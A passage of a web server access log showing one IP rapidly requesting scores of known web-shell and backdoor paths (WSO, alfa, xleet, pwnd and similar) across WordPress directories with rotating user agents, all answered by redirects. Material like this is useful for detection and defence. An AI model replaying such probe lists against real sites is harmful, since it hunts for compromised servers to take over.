Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:23 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:23 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:23 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:23 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:24 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:24 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:24 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:24 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:25 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:25 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:25 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:25 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:26 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:26 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:26 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:27 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:27 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:27 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:27 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:27 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:28 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:28 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:28 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:29 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:29 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:29 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:29 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:30 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:30 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:30 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:30 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:30 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:31 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:31 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:31 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:31 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:32 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:32 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:32 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:23:32 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:33 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:33 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:33 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:33 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:34 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:34 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:34 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:34 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:34 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:35 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:35 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:23:35 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:35 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:35 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:36 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:23:36 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:36 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:36 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:37 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:38 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:38 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:23:38 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:38 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:38 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:39 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:39 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:39 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:39 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:39 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:40 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:40 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:40 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:40 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:40 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:41 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:41 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:41 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:41 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:41 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:23:42 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:42 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:42 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:42 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:23:42 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:43 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:43 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:43 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:23:43 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:43 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:44 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:44 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:23:44 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:44 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:45 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:46 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:46 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:23:46 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:46 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:47 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 